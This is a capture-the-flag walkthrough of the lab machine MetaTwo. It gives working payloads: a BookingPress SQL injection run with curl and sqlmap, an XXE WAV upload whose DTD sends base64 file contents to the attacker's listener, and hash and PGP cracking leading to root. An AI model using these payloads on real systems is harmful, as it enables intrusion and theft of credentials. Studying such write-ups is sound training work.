Enumeration
Let's start with an nmap scan:
nontas@local:~$ nmap -sVC 10.129.61.111
Starting Nmap 7.93 ( https://nmap.org ) at 2025-10-16 18:45 EEST
Nmap scan report for 10.129.61.111
Host is up (0.081s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 252.69 secondsThe web app tried to redirect us to metapress.htb, so add it to /etc/hosts:
10.129.61.111 metapress.htbLet's visit the website: 
The website is powered by WordPress with version 5.6.2:
nontas@local:~$ curl -s http://metapress.htb/ | grep WordPress
<meta name="generator" content="WordPress 5.6.2" />
<SNIP>There's a search functionality that makes a GET request to /?s=<search_term>, but only finds a single post (the one we see).
There are a lot of paths to visit, but the only one that's interesting is /events: 
Let's check the plugins used:
nontas@local:~$ curl -s http://metapress.htb/events/ | grep plugins
<link rel='stylesheet' id='bookingpress_element_css-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_element_theme.css?ver=1.0.10' media='all' />
<SNIP>The only plugin found is bookingpress-appointment-booking with version 1.0.10.
Initial Foothold
WP Plugin Vulnerability (SQLi)
With a quick Google search, we find a page from WPScan that shows a number of vulnerabilities: 

The bottom one "Unauthenticated SQL Injection" seems quite interesting. It has a PoC that we can follow:
- Create a new "category" and associate it with a new "service" via the BookingPress admin menu (
/wp-admin/admin.php?page=bookingpress_services) - Create a new page with the "[bookingpress_form]" shortcode embedded (the "BookingPress Step-by-step Wizard Form")
- Visit the just created page as an unauthenticated user and extract the "nonce" (view source -> search for "action:'bookingpress_front_get_category_services'")
- Invoke the following curl command
curl -i 'https://example.com/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'The first 2 steps are for someone that is setting up the plugin and has access to the admin menu. Let's skip ahead to step 3:
I found the nonce (short for "number once") equal to aee490db91.
Now we can run the curl command:
nontas@local:~$ curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 16 Oct 2025 17:10:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.0.24
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]We got a 200 response so it worked.
SQLMap
Let's use SQLMap to automate the SQL injection. I'll change the value of the parameter total_service to be a number (e.g. total_service=1337), instead of the actual payload. I've also specified the parameter with the flag -p to speed things up:
nontas@local:~$ sqlmap -u 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337' -p total_service --batch
<SNIP>
sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
---
Parameter: total_service (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337) AND (SELECT 5668 FROM (SELECT(SLEEP(5)))XVic) AND (2046=2046
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337) UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7162766a71,0x7655796476656d757965795865454251534c695355597a784f586543776570525870715077544976,0x7176707871),NULL,NULL,NULL,NULL-- -
---
[20:19:37] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
<SNIP>Alternative approach
If you want to capture the request made by curl so you can save it to a file, use the following command:
curl -x http://127.0.0.1:8080 -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337'And from Burp/Caido save the following to metapress.req:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337To finally use it with sqlmap:
sqlmap -r metapress.req -p total_service --batchSQLMap found 2 vulnerabities. We can go ahead and list the DBs:
nontas@local:~$ sqlmap -u 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337' -p total_service --batch --dbs
<SNIP>
[20:31:36] [INFO] fetching database names
available databases [2]:
[*] blog
[*] information_schema
<SNIP>The only non-default DB is blog.
List the tables inside the blog DB:
nontas@local:~$ sqlmap -u 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337' -p total_service --batch -D blog --tables
<SNIP>
Database: blog
[27 tables]
+--------------------------------------+
| wp_bookingpress_appointment_bookings |
| wp_bookingpress_categories |
| wp_bookingpress_customers |
| wp_bookingpress_customers_meta |
| wp_bookingpress_customize_settings |
| wp_bookingpress_debug_payment_log |
| wp_bookingpress_default_daysoff |
| wp_bookingpress_default_workhours |
| wp_bookingpress_entries |
| wp_bookingpress_form_fields |
| wp_bookingpress_notifications |
| wp_bookingpress_payment_logs |
| wp_bookingpress_services |
| wp_bookingpress_servicesmeta |
| wp_bookingpress_settings |
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+--------------------------------------+
<SNIP>The table wp_users seems interesting. Let's dump everything inside it:
nontas@local:~$ sqlmap -u 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=aee490db91&category_id=33&total_service=1337' -p total_service --batch -D blog -T wp_users --dump
<SNIP>
Database: blog
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | [email protected] | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> |
| 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | [email protected] | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
<SNIP>We've found 2 users:
adminwith hashed password$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.- and
managerwith hashed password$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Password Cracking
I tried to crack both password with john and the rockyou.txt wordlist, but for the admin user it doesn't seem to succeed.
For manager's hash saved in hash.txt, it succeeded:
nontas@local:~$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 ASIMD 4x2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Note: Passwords longer than 13 [worst case UTF-8] to 39 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
partylikearockstar (?)
1g 0:00:00:11 DONE (2025-10-16 20:38) 0.08749g/s 9675p/s 9675c/s 9675C/s taemoh..munster1
Use the "--show --format=phpass" options to display all of the cracked passwords reliablSo we found 1 set of credentials: manager:partylikearockstar.
WP Vulnerability (XXE)
Use these credentials to get access to the WP admin panel at /wp-login.php: 
And we get access:
manager doesn't seem to have a lot of permissions. They only seem to be able to upload media files.
Our WordPress version is 5.6.2, so we can search for some vulnerabilities like here. The authenticated XXE vulnerability is quite interesting: 
To verify the PHP version, either check the X-Powered-By header in the responses, which is X-Powered-By: PHP/8.0.24, or use Wappalyzer:
The PHP version is 8.0.24, so we can apply the above exploit.
The vulnerability on WPScan has the following description:
A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. WordPress used an audio parsing library called ID3 that was affected by an XML External Entity (XXE) vulnerability affecting PHP versions 8 and above. This particular vulnerability could be triggered when parsing WAVE audio files.
And there's a PoC attached. There's a more detailed post detailing the process of the attack that we're going to follow.
First, we create the payload.wav file with the following command (with our listener IP and port):
nontas@local:~$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.78:1234/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wavThe payload has the magic bytes of a wav file.
And then create the evil.dtd file:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.78:1234/?p=%file;'>" >Now start a python web server on port 1234:
nontas@local:~$ python3 -m http.server 1234And upload the payload.wav file: 
You should see the base64 encoded version of the /etc/passwd file:
nontas@local:~$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.129.61.111 - - [16/Oct/2025 23:11:54] "GET /evil.dtd HTTP/1.1" 200 -
10.129.61.111 - - [16/Oct/2025 23:11:54] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -Simply decode it:
nontas@local:~$ echo cm9vdDp4OjA6MDpyb290Oi9yb2...<SNIP> | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologinWe find the user jnelson that has a bash shell.
The post on WPScan actually tells us that the location of wp-config.php is located at ../wp-config.php (relatively). Change the file evil.dtd to:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.78:1234/?p=%file;'>" >And upload the payload.wav file again.
Decoding it, we get the following wp-config.php file:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );
/** MySQL database username */
define( 'DB_USER', 'blog' );
/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );
/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );
/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';We find the following FTP credentials: metapress.htb:9NYS_ii@FyL_p5M2NvJ
FTP
Connect via FTP:
nontas@local:~$ ftp metapress.htb
Connected to metapress.htb.
220 ProFTPD Server (Debian) [::ffff:10.129.61.111]
Name (metapress.htb:root): metapress.htb
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>Alternative command
Or do:
The current directory has blog/ and mailer/. The first one is probably the website we were seeign before:
ftp> ls -la
229 Entering Extended Passive Mode (|||58915|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 2022 .
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 2022 ..
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 mailer
226 Transfer completeListing the contents of blog/, we see .htaccess, but it doesn't contain anything interesting:
ftp> cd blog
250 CWD command successful
ftp> ls -la
229 Entering Extended Passive Mode (|||53609|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 .
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 2022 ..
-rw-r--r-- 1 metapress.htb metapress.htb 633 Jun 23 2022 .htaccess
-rw-r--r-- 1 metapress.htb metapress.htb 405 Feb 6 2020 index.php
-rw-r--r-- 1 metapress.htb metapress.htb 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 metapress.htb metapress.htb 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 metapress.htb metapress.htb 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 metapress.htb metapress.htb 4096 Oct 5 2022 wp-admin
-rw-r--r-- 1 metapress.htb metapress.htb 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 metapress.htb metapress.htb 2328 Oct 8 2020 wp-comments-post.php
-rw-r--r-- 1 metapress.htb metapress.htb 2032 Jun 23 2022 wp-config.php
-rw-r--r-- 1 metapress.htb metapress.htb 2913 Feb 6 2020 wp-config-sample.php
drwxr-xr-x 6 metapress.htb metapress.htb 4096 Oct 5 2022 wp-content
-rw-r--r-- 1 metapress.htb metapress.htb 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 metapress.htb metapress.htb 12288 Oct 5 2022 wp-includes
-rw-r--r-- 1 metapress.htb metapress.htb 2496 Feb 6 2020 wp-links-opml.php
-rw-r--r-- 1 metapress.htb metapress.htb 3300 Feb 6 2020 wp-load.php
-rw-r--r-- 1 metapress.htb metapress.htb 49831 Nov 9 2020 wp-login.php
-rw-r--r-- 1 metapress.htb metapress.htb 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 metapress.htb metapress.htb 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 metapress.htb metapress.htb 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 metapress.htb metapress.htb 4747 Oct 8 2020 wp-trackback.php
-rw-r--r-- 1 metapress.htb metapress.htb 3236 Jun 8 2020 xmlrpc.php
226 Transfer completeInside mailer/, we see the following contents:
ftp> ls -la
229 Entering Extended Passive Mode (|||51522|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 .
drwxr-xr-x 4 0 metapress.htb 4096 Oct 5 2022 ..
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 2022 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 2022 send_email.php
226 Transfer completesend_email.php:
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;
require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
$mail = new PHPMailer(true);
$mail->SMTPDebug = 3;
$mail->isSMTP();
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "[email protected]";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;
$mail->From = "[email protected]";
$mail->FromName = "James Nelson";
$mail->addAddress("[email protected]");
$mail->isHTML(true);
$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";
try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;We find the password Cb4_JmWM8zUZWMu@Ys for the user jnelson.
Use them to SSH:
nontas@local:~$ ssh [email protected]
[email protected]'s password:
<SNIP>
jnelson@meta2:~$ cat user.txtAnd get the user flag.
Privilege Escalation
Enumeration
Listing the contents of the home directory, we see .passpie/:
jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 3 root root 4096 Oct 5 2022 ..
lrwxrwxrwx 1 root root 9 Jun 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 2022 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .passpie
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 2022 .profile
-rw-r----- 1 root jnelson 33 Oct 16 16:34 user.txWith a quick Google search: Passpie is a command line tool to manage passwords from the terminal with a colorful and configurable interface.
On the documentation here, we find the command to export the passwords:
jnelson@meta2:~$ passpie export passwords.db
Passphrase:
Error: Wrong passphraseWe need to find the correct passphrase.
Let's look inside .passpie/:
jnelson@meta2:~$ cd .passpie/
jnelson@meta2:~/.passpie$ ls -la
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 ..
-r-xr-x--- 1 jnelson jnelson 3 Jun 26 2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 2022 ssh.config is empty, while .keys has the following PGP key (public and private blocks):
jnelson@meta2:~/.passpie$ cat .keys
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQSuBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
<SNIP>
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----Crack PGP Key
Let's transfer it to our local machine with scp:
nontas@local:~$ scp [email protected]:/home/jnelson/.passpie/.keys ./keysRemove the public key block from keys, and format it to a hash using gpg2john:
nontas@local:~$ gpg2john keys > keys.hashNow we can use john to crack it:
nontas@local:~$ john --wordlist=/usr/share/wordlists/rockyou.txt keys.hash --format=gpg
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
blink182 (Passpie)
1g 0:00:00:02 DONE (2025-10-17 00:00) 0.3559g/s 68.33p/s 68.33c/s 68.33C/s carolina..november
Use the "--show" option to display all of the cracked passwords reliably
Session completed.The password is blink182.
Export Passwords
Use it to export the passwords:
jnelson@meta2:~$ passpie export passwords.db
Passphrase:
jnelson@meta2:~$ ls
passwords.db user.txt
jnelson@meta2:~$ cat passwords.db
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.The password for root is p7qfAZt4_A1xo_0x.
Switch to root:
jnelson@meta2:~$ su -
Password:
root@meta2:~# cat root.txtWe have successfully completed MetaTwo!